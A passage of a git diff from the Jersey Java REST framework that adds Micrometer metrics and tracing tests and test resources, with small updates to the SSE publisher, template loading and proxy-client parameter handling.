404)).timer()).isNull(); + } + + @Test + void resourcesWithAnnotationAreTimed() { + target("timed").request().get(); + target("multi-timed").request().get(); + + assertThat(registry.get(METRIC_NAME).tags(tagsFrom("/timed", 200)).timer().count()).isEqualTo(1); + + assertThat(registry.get("multi1").tags(tagsFrom("/multi-timed", 200)).timer().count()).isEqualTo(1); + + assertThat(registry.get("multi2").tags(tagsFrom("/multi-timed", 200)).timer().count()).isEqualTo(1); + } + + @Test + void longTaskTimerSupported() throws InterruptedException, ExecutionException, TimeoutException { + final Future future = target("long-timed").request().async().get(); + + /* + * Wait until the request has arrived at the server side. (Async client processing + * might be slower in triggering the request resulting in the assertions below to + * fail. Thread.sleep() is not an option, so resort to CountDownLatch.) + */ + longTaskRequestStartedLatch.await(5, TimeUnit.SECONDS); + + // the request is not timed, yet + assertThat(registry.find(METRIC_NAME).tags(tagsFrom("/timed", 200)).timer()).isNull(); + + // the long running task is timed + assertThat(registry.get("long.task.in.request") + .tags(Tags.of("method", "GET", "uri", "/long-timed")) + .longTaskTimer() + .activeTasks()).isEqualTo(1); + + // finish the long running request + longTaskRequestReleaseLatch.countDown(); + future.get(5, TimeUnit.SECONDS); + + // the request is timed after the long running request completed + assertThat(registry.get(METRIC_NAME).tags(tagsFrom("/long-timed", 200)).timer().count()).isEqualTo(1); + } + + @Test + @Issue("gh-2861") + void longTaskTimerOnlyOneMeter() throws InterruptedException, ExecutionException, TimeoutException { + final Future future = target("just-long-timed").request().async().get(); + + /* + * Wait until the request has arrived at the server side. (Async client processing + * might be slower in triggering the request resulting in the assertions below to + * fail. Thread.sleep() is not an option, so resort to CountDownLatch.) + */ + longTaskRequestStartedLatch.await(5, TimeUnit.SECONDS); + + // the long running task is timed + assertThat(registry.get("long.task.in.request") + .tags(Tags.of("method", "GET", "uri", "/just-long-timed")) + .longTaskTimer() + .activeTasks()).isEqualTo(1); + + // finish the long running request + longTaskRequestReleaseLatch.countDown(); + future.get(5, TimeUnit.SECONDS); + + // no meters registered except the one checked above + assertThat(registry.getMeters().size()).isOne(); + } + + @Test + void unnamedLongTaskTimerIsNotSupported() { + assertThatExceptionOfType(ProcessingException.class) + .isThrownBy(() -> target("long-timed-unnamed").request().get()) + .withCauseInstanceOf(IllegalArgumentException.class); + } + + @Test + void classLevelAnnotationIsInherited() { + target("/class/inherited").request().get(); + + assertThat(registry.get(METRIC_NAME) + .tags(Tags.concat(tagsFrom("/class/inherited", 200), Tags.of("on", "class"))) + .timer() + .count()).isEqualTo(1); + } + + @Test + void methodLevelAnnotationOverridesClassLevel() { + target("/class/on-method").request().get(); + + assertThat(registry.get(METRIC_NAME) + .tags(Tags.concat(tagsFrom("/class/on-method", 200), Tags.of("on", "method"))) + .timer() + .count()).isEqualTo(1); + + // class level annotation is not picked up + assertThat(registry.getMeters()).hasSize(1); + } + + private static Iterable tagsFrom(String uri, int status) { + return Tags.of("method", "GET", "uri", uri, "status", String.valueOf(status), "exception", "None"); + } + +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/exception/ResourceGoneException.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/exception/ResourceGoneException.java new file mode 100644 index 0000000000..99f654dc99 --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/exception/ResourceGoneException.java @@ -0,0 +1,32 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server.exception; + +public class ResourceGoneException extends RuntimeException { + + public ResourceGoneException() { + super(); + } + + public ResourceGoneException(String message) { + super(message); + } + + public ResourceGoneException(String message, Throwable cause) { + super(message, cause); + } + +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/mapper/ResourceGoneExceptionMapper.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/mapper/ResourceGoneExceptionMapper.java new file mode 100644 index 0000000000..e76867d84b --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/mapper/ResourceGoneExceptionMapper.java @@ -0,0 +1,31 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server.mapper; + +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.Response.Status; +import jakarta.ws.rs.ext.ExceptionMapper; + +import org.glassfish.jersey.micrometer.server.exception.ResourceGoneException; + +public class ResourceGoneExceptionMapper implements ExceptionMapper { + + @Override + public Response toResponse(ResourceGoneException exception) { + return Response.status(Status.GONE).build(); + } + +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java new file mode 100644 index 0000000000..0ae7ab6401 --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java @@ -0,0 +1,140 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server.observation; + +import java.util.List; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.core.Application; + +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.Tag; +import io.micrometer.core.instrument.Tags; +import io.micrometer.core.instrument.observation.DefaultMeterObservationHandler; +import io.micrometer.core.instrument.simple.SimpleMeterRegistry; +import io.micrometer.observation.ObservationHandler.FirstMatchingCompositeObservationHandler; +import io.micrometer.observation.ObservationRegistry; +import io.micrometer.tracing.Tracer; +import io.micrometer.tracing.exporter.FinishedSpan; +import io.micrometer.tracing.handler.DefaultTracingObservationHandler; +import io.micrometer.tracing.handler.PropagatingReceiverTracingObservationHandler; +import io.micrometer.tracing.handler.PropagatingSenderTracingObservationHandler; +import io.micrometer.tracing.propagation.Propagator; +import io.micrometer.tracing.test.simple.SpanAssert; +import io.micrometer.tracing.test.simple.SpansAssert; +import org.glassfish.jersey.micrometer.server.ObservationApplicationEventListener; +import org.glassfish.jersey.micrometer.server.ObservationRequestEventListener; +import org.glassfish.jersey.micrometer.server.resources.TestResource; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; +import zipkin2.CheckResult; +import zipkin2.reporter.Sender; +import zipkin2.reporter.urlconnection.URLConnectionSender; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * Tests for {@link ObservationRequestEventListener}. + * + * @author Marcin Grzejsczak + */ +abstract class AbstractObservationRequestEventListenerTest extends JerseyTest { + + static { + Logger.getLogger("org.glassfish.jersey").setLevel(Level.OFF); + } + + private static final String METRIC_NAME = "http.server.requests"; + + ObservationRegistry observationRegistry; + + MeterRegistry registry; + + Boolean zipkinAvailable; + + Sender sender; + + @Override + protected Application configure() { + observationRegistry = ObservationRegistry.create(); + registry = new SimpleMeterRegistry(); + sender = URLConnectionSender.create("http://localhost:9411/api/v2/spans"); + + observationRegistry.observationConfig().observationHandler(new DefaultMeterObservationHandler(registry)); + + configureRegistry(observationRegistry); + + final ObservationApplicationEventListener listener = + new ObservationApplicationEventListener(observationRegistry, METRIC_NAME); + + final ResourceConfig config = new ResourceConfig(); + config.register(listener); + config.register(TestResource.class); + + return config; + } + + abstract void configureRegistry(ObservationRegistry registry); + + abstract List getFinishedSpans(); + + boolean isZipkinAvailable() { + if (zipkinAvailable == null) { + CheckResult checkResult = sender.check(); + zipkinAvailable = checkResult.ok(); + } + return zipkinAvailable; + } + + void setupTracing(Tracer tracer, Propagator propagator) { + observationRegistry.observationConfig() + .observationHandler(new FirstMatchingCompositeObservationHandler( + new PropagatingSenderTracingObservationHandler<>(tracer, propagator), + new PropagatingReceiverTracingObservationHandler<>(tracer, propagator), + new DefaultTracingObservationHandler(tracer))); + } + + @Test + void resourcesAreTimed() { + target("sub-resource/sub-hello/peter").request().get(); + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/sub-resource/sub-hello/{name}", "200", "SUCCESS", null)) + .timer() + .count()).isEqualTo(1); + // Timer and Long Task Timer + assertThat(registry.getMeters()).hasSize(2); + + List finishedSpans = getFinishedSpans(); + SpansAssert.assertThat(finishedSpans).hasSize(1); + FinishedSpan finishedSpan = finishedSpans.get(0); + System.out.println("Trace Id [" + finishedSpan.getTraceId() + "]"); + SpanAssert.assertThat(finishedSpan) + .hasNameEqualTo("HTTP GET") + .hasTag("exception", "None") + .hasTag("method", "GET") + .hasTag("outcome", "SUCCESS") + .hasTag("status", "200") + .hasTag("uri", "/sub-resource/sub-hello/{name}"); + } + + private static Iterable tagsFrom(String uri, String status, String outcome, String exception) { + return Tags.of("method", "GET", "uri", uri, "status", status, "outcome", outcome, "exception", + exception == null ? "None" : exception); + } +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java new file mode 100644 index 0000000000..0490129633 --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java @@ -0,0 +1,197 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server.observation; + +import java.util.Collections; +import java.util.List; +import java.util.stream.Collectors; + +import brave.Tracing; +import brave.Tracing.Builder; +import brave.context.slf4j.MDCScopeDecorator; +import brave.handler.SpanHandler; +import brave.propagation.B3Propagation; +import brave.propagation.B3Propagation.Format; +import brave.propagation.ThreadLocalCurrentTraceContext; +import brave.sampler.Sampler; +import brave.test.TestSpanHandler; +import io.micrometer.observation.ObservationRegistry; +import io.micrometer.tracing.CurrentTraceContext; +import io.micrometer.tracing.Tracer; +import io.micrometer.tracing.brave.bridge.BraveBaggageManager; +import io.micrometer.tracing.brave.bridge.BraveCurrentTraceContext; +import io.micrometer.tracing.brave.bridge.BraveFinishedSpan; +import io.micrometer.tracing.brave.bridge.BravePropagator; +import io.micrometer.tracing.brave.bridge.BraveTracer; +import io.micrometer.tracing.exporter.FinishedSpan; +import io.micrometer.tracing.otel.bridge.ArrayListSpanProcessor; +import io.micrometer.tracing.otel.bridge.OtelBaggageManager; +import io.micrometer.tracing.otel.bridge.OtelCurrentTraceContext; +import io.micrometer.tracing.otel.bridge.OtelFinishedSpan; +import io.micrometer.tracing.otel.bridge.OtelPropagator; +import io.micrometer.tracing.otel.bridge.OtelTracer; +import io.micrometer.tracing.otel.bridge.Slf4JBaggageEventListener; +import io.micrometer.tracing.otel.bridge.Slf4JEventListener; +import io.opentelemetry.api.common.Attributes; +import io.opentelemetry.context.propagation.ContextPropagators; +import io.opentelemetry.exporter.zipkin.ZipkinSpanExporterBuilder; +import io.opentelemetry.extension.trace.propagation.B3Propagator; +import io.opentelemetry.sdk.OpenTelemetrySdk; +import io.opentelemetry.sdk.resources.Resource; +import io.opentelemetry.sdk.trace.SdkTracerProvider; +import io.opentelemetry.sdk.trace.SdkTracerProviderBuilder; +import io.opentelemetry.sdk.trace.export.SimpleSpanProcessor; +import io.opentelemetry.sdk.trace.export.SpanExporter; +import io.opentelemetry.semconv.resource.attributes.ResourceAttributes; +import org.glassfish.jersey.micrometer.server.ObservationApplicationEventListener; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.Nested; +import zipkin2.Span; +import zipkin2.reporter.AsyncReporter; +import zipkin2.reporter.brave.ZipkinSpanHandler; + +import static io.opentelemetry.sdk.trace.samplers.Sampler.alwaysOn; + +/** + * Tests for {@link ObservationApplicationEventListener}. + * + * @author Marcin Grzejsczak + */ +class ObservationApplicationEventListenerTest { + + @Nested + class BraveObservationRequestEventListenerTest extends AbstractObservationRequestEventListenerTest { + + Tracing tracing; + + TestSpanHandler testSpanHandler; + + AsyncReporter reporter; + + @Override + void configureRegistry(ObservationRegistry registry) { + testSpanHandler = new TestSpanHandler(); + + reporter = AsyncReporter.create(sender); + + SpanHandler spanHandler = ZipkinSpanHandler + .create(reporter); + + ThreadLocalCurrentTraceContext braveCurrentTraceContext = ThreadLocalCurrentTraceContext.newBuilder() + .addScopeDecorator(MDCScopeDecorator.get()) // Example of Brave's + // automatic MDC setup + .build(); + + CurrentTraceContext bridgeContext = new BraveCurrentTraceContext(braveCurrentTraceContext); + + Builder builder = Tracing.newBuilder() + .currentTraceContext(braveCurrentTraceContext) + .supportsJoin(false) + .traceId128Bit(true) + .propagationFactory(B3Propagation.newFactoryBuilder().injectFormat(Format.SINGLE).build()) + .sampler(Sampler.ALWAYS_SAMPLE) + .addSpanHandler(testSpanHandler) + .localServiceName("brave-test"); + + if (isZipkinAvailable()) { + builder.addSpanHandler(spanHandler); + } + + tracing = builder + .build(); + brave.Tracer braveTracer = tracing.tracer(); + Tracer tracer = new BraveTracer(braveTracer, bridgeContext, new BraveBaggageManager()); + BravePropagator bravePropagator = new BravePropagator(tracing); + setupTracing(tracer, bravePropagator); + } + + @Override + List getFinishedSpans() { + return testSpanHandler.spans().stream().map(BraveFinishedSpan::new).collect(Collectors.toList()); + } + + @AfterEach + void cleanup() { + if (isZipkinAvailable()) { + reporter.flush(); + reporter.close(); + } + tracing.close(); + } + } + + @Nested + class OtelObservationRequestEventListenerTest extends AbstractObservationRequestEventListenerTest { + + SdkTracerProvider sdkTracerProvider; + + ArrayListSpanProcessor processor; + + @Override + void configureRegistry(ObservationRegistry registry) { + processor = new ArrayListSpanProcessor(); + + SpanExporter spanExporter = new ZipkinSpanExporterBuilder() + .setSender(sender) + .build(); + + SdkTracerProviderBuilder builder = SdkTracerProvider.builder() + .setSampler(alwaysOn()) + .addSpanProcessor(processor) + .setResource(Resource.create(Attributes.of(ResourceAttributes.SERVICE_NAME, "otel-test"))); + + if (isZipkinAvailable()) { + builder.addSpanProcessor(SimpleSpanProcessor.create(spanExporter)); + } + + sdkTracerProvider = builder + .build(); + + ContextPropagators contextPropagators = ContextPropagators.create(B3Propagator.injectingSingleHeader()); + + OpenTelemetrySdk openTelemetrySdk = OpenTelemetrySdk.builder() + .setTracerProvider(sdkTracerProvider) + .setPropagators(contextPropagators) + .build(); + + io.opentelemetry.api.trace.Tracer otelTracer = openTelemetrySdk.getTracerProvider() + .get("io.micrometer.micrometer-tracing"); + + OtelCurrentTraceContext otelCurrentTraceContext = new OtelCurrentTraceContext(); + + Slf4JEventListener slf4JEventListener = new Slf4JEventListener(); + + Slf4JBaggageEventListener slf4JBaggageEventListener = new Slf4JBaggageEventListener(Collections.emptyList()); + + OtelTracer tracer = new OtelTracer(otelTracer, otelCurrentTraceContext, event -> { + slf4JEventListener.onEvent(event); + slf4JBaggageEventListener.onEvent(event); + }, new OtelBaggageManager(otelCurrentTraceContext, Collections.emptyList(), Collections.emptyList())); + OtelPropagator otelPropagator = new OtelPropagator(contextPropagators, otelTracer); + setupTracing(tracer, otelPropagator); + } + + @Override + List getFinishedSpans() { + return processor.spans().stream().map(OtelFinishedSpan::fromOtel).collect(Collectors.toList()); + } + + @AfterEach + void cleanup() { + sdkTracerProvider.close(); + } + } +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TestResource.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TestResource.java new file mode 100644 index 0000000000..41e529d9a4 --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TestResource.java @@ -0,0 +1,106 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server.resources; + +import java.net.URI; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.NotAuthorizedException; +import jakarta.ws.rs.NotFoundException; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.PathParam; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.RedirectionException; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.Response.Status; + +import org.glassfish.jersey.micrometer.server.exception.ResourceGoneException; + +/** + * @author Michael Weirauch + */ +@Path("/") +@Produces(MediaType.TEXT_PLAIN) +public class TestResource { + + @Produces(MediaType.TEXT_PLAIN) + public static class SubResource { + + @GET + @Path("sub-hello/{name}") + public String hello(@PathParam("name") String name) { + return "hello " + name; + } + + } + + @GET + public String index() { + return "index"; + } + + @GET + @Path("hello") + public String hello() { + return "hello"; + } + + @GET + @Path("hello/{name}") + public String hello(@PathParam("name") String name) { + return "hello " + name; + } + + @GET + @Path("throws-not-found-exception") + public String throwsNotFoundException() { + throw new NotFoundException(); + } + + @GET + @Path("throws-exception") + public String throwsException() { + throw new IllegalArgumentException(); + } + + @GET + @Path("throws-webapplication-exception") + public String throwsWebApplicationException() { + throw new NotAuthorizedException("notauth", Response.status(Status.UNAUTHORIZED).build()); + } + + @GET + @Path("throws-mappable-exception") + public String throwsMappableException() { + throw new ResourceGoneException("Resource has been permanently removed."); + } + + @GET + @Path("redirect/{status}") + public Response redirect(@PathParam("status") int status) { + if (status == 307) { + throw new RedirectionException(status, URI.create("hello")); + } + return Response.status(status).header("Location", "/hello").build(); + } + + @Path("/sub-resource") + public SubResource subResource() { + return new SubResource(); + } + +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedOnClassResource.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedOnClassResource.java new file mode 100644 index 0000000000..20f92fbd37 --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedOnClassResource.java @@ -0,0 +1,46 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server.resources; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.core.MediaType; + +import io.micrometer.core.annotation.Timed; + +/** + * @author Michael Weirauch + */ +@Path("/class") +@Produces(MediaType.TEXT_PLAIN) +@Timed(extraTags = { "on", "class" }) +public class TimedOnClassResource { + + @GET + @Path("inherited") + public String inherited() { + return "inherited"; + } + + @GET + @Path("on-method") + @Timed(extraTags = { "on", "method" }) + public String onMethod() { + return "on-method"; + } + +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedResource.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedResource.java new file mode 100644 index 0000000000..cbf449553e --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedResource.java @@ -0,0 +1,107 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server.resources; + +import java.util.concurrent.CountDownLatch; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.core.MediaType; + +import io.micrometer.core.annotation.Timed; + +import static java.util.Objects.requireNonNull; + +/** + * @author Michael Weirauch + */ +@Path("/") +@Produces(MediaType.TEXT_PLAIN) +public class TimedResource { + + private final CountDownLatch longTaskRequestStartedLatch; + + private final CountDownLatch longTaskRequestReleaseLatch; + + public TimedResource(CountDownLatch longTaskRequestStartedLatch, CountDownLatch longTaskRequestReleaseLatch) { + this.longTaskRequestStartedLatch = requireNonNull(longTaskRequestStartedLatch); + this.longTaskRequestReleaseLatch = requireNonNull(longTaskRequestReleaseLatch); + } + + @GET + @Path("not-timed") + public String notTimed() { + return "not-timed"; + } + + @GET + @Path("timed") + @Timed + public String timed() { + return "timed"; + } + + @GET + @Path("multi-timed") + @Timed("multi1") + @Timed("multi2") + public String multiTimed() { + return "multi-timed"; + } + + /* + * Async server side processing (AsyncResponse) is not supported in the in-memory test + * container. + */ + @GET + @Path("long-timed") + @Timed + @Timed(value = "long.task.in.request", longTask = true) + public String longTimed() { + longTaskRequestStartedLatch.countDown(); + try { + longTaskRequestReleaseLatch.await(); + } + catch (InterruptedException e) { + throw new RuntimeException(e); + } + return "long-timed"; + } + + @GET + @Path("just-long-timed") + @Timed(value = "long.task.in.request", longTask = true) + public String justLongTimed() { + longTaskRequestStartedLatch.countDown(); + try { + longTaskRequestReleaseLatch.await(); + } + catch (InterruptedException e) { + throw new RuntimeException(e); + } + return "long-timed"; + } + + @GET + @Path("long-timed-unnamed") + @Timed + @Timed(longTask = true) + public String longTimedUnnamed() { + return "long-timed-unnamed"; + } + +} diff --git a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventPublisher.java b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventPublisher.java index b785d06aa3..7b6103e66d 100644 --- a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventPublisher.java +++ b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventPublisher.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the @@ -66,7 +66,7 @@ public class SseEventPublisher extends EventInput implements Publisher(executor::submit, JerseyPublisher.PublisherStrategy.BEST_EFFORT); + this.publisher = new JerseyPublisher<>(executor::submit, JerseyPublisher.PublisherStrategy.BLOCKING); } private static final Logger LOG = Logger.getLogger(SseEventPublisher.class.getName()); diff --git a/ext/microprofile/pom.xml b/ext/microprofile/pom.xml index 3aea3249b2..fa35af4a82 100644 --- a/ext/microprofile/pom.xml +++ b/ext/microprofile/pom.xml @@ -36,5 +36,4 @@ mp-config - - + \ No newline at end of file diff --git a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java index b20c86ac4c..ed0c590c2d 100644 --- a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java +++ b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,13 +16,13 @@ package org.glassfish.jersey.server.mvc.spi; -import java.io.FileInputStream; -import java.io.FileNotFoundException; +import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.Reader; import java.nio.charset.Charset; +import java.nio.file.Files; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; @@ -182,8 +182,8 @@ private T resolve(final String name) { // File-system path. if (reader == null) { try { - reader = new InputStreamReader(new FileInputStream(template), encoding); - } catch (final FileNotFoundException fnfe) { + reader = new InputStreamReader(Files.newInputStream(new File(template).toPath()), encoding); + } catch (final IOException ioe) { // NOOP. } } diff --git a/ext/pom.xml b/ext/pom.xml index db36d831c2..c3076f530a 100644 --- a/ext/pom.xml +++ b/ext/pom.xml @@ -44,6 +44,7 @@ cdi entity-filtering metainf-services + micrometer mvc mvc-bean-validation mvc-freemarker diff --git a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java index 6457dd79c0..6bca3150b4 100644 --- a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java +++ b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -39,6 +39,7 @@ import java.util.Arrays; import java.util.Collection; import java.util.HashMap; +import java.util.Iterator; import java.util.LinkedList; import java.util.List; import java.util.Map; @@ -61,8 +62,7 @@ class RequestParameters { RequestParameters(final WebTarget newTarget, final MultivaluedMap headers, final List cookies, final Form form) { - this.headers = new MultivaluedHashMap<>(); - this.headers.putAll(headers); + this.headers = new MultivaluedHashMap(headers); this.cookies = new LinkedList<>(cookies); this.form = new Form(); this.form.asMap().putAll(form.asMap()); @@ -73,72 +73,72 @@ class RequestParameters { void addParameter(final Object value, final Map, Annotation> anns) throws IntrospectionException, InvocationTargetException, IllegalAccessException { - Annotation ann; - if ((ann = anns.get(PathParam.class)) != null) { - newTarget = newTarget.resolveTemplate(((PathParam) ann).value(), value); - } else if ((ann = anns.get((QueryParam.class))) != null) { - if (value instanceof Collection) { - newTarget = newTarget.queryParam(((QueryParam) ann).value(), convert((Collection) value)); - } else { - newTarget = newTarget.queryParam(((QueryParam) ann).value(), value); - } - } else if ((ann = anns.get((HeaderParam.class))) != null) { - if (value instanceof Collection) { - headers.addAll(((HeaderParam) ann).value(), convert((Collection) value)); - } else { - headers.addAll(((HeaderParam) ann).value(), value); - } + Annotation ann; + if ((ann = anns.get(PathParam.class)) != null) { + newTarget = newTarget.resolveTemplate(((PathParam) ann).value(), value); + } else if ((ann = anns.get((QueryParam.class))) != null) { + if (value instanceof Collection) { + newTarget = newTarget.queryParam(((QueryParam) ann).value(), convert((Collection) value, true)); + } else { + newTarget = newTarget.queryParam(((QueryParam) ann).value(), encodeTemplate(value)); + } + } else if ((ann = anns.get((HeaderParam.class))) != null) { + if (value instanceof Collection) { + headers.addAll(((HeaderParam) ann).value(), convert((Collection) value, false)); + } else { + headers.addAll(((HeaderParam) ann).value(), value); + } - } else if ((ann = anns.get((CookieParam.class))) != null) { - final String name = ((CookieParam) ann).value(); - Cookie c; - if (value instanceof Collection) { - for (final Object v : ((Collection) value)) { - if (!(v instanceof Cookie)) { - c = new Cookie(name, v.toString()); - } else { - c = (Cookie) v; - if (!name.equals(((Cookie) v).getName())) { - // is this the right thing to do? or should I fail? or ignore the difference? - c = new Cookie(name, c.getValue(), c.getPath(), c.getDomain(), c.getVersion()); - } - } - cookies.add(c); - } - } else { - if (!(value instanceof Cookie)) { - cookies.add(new Cookie(name, value.toString())); + } else if ((ann = anns.get((CookieParam.class))) 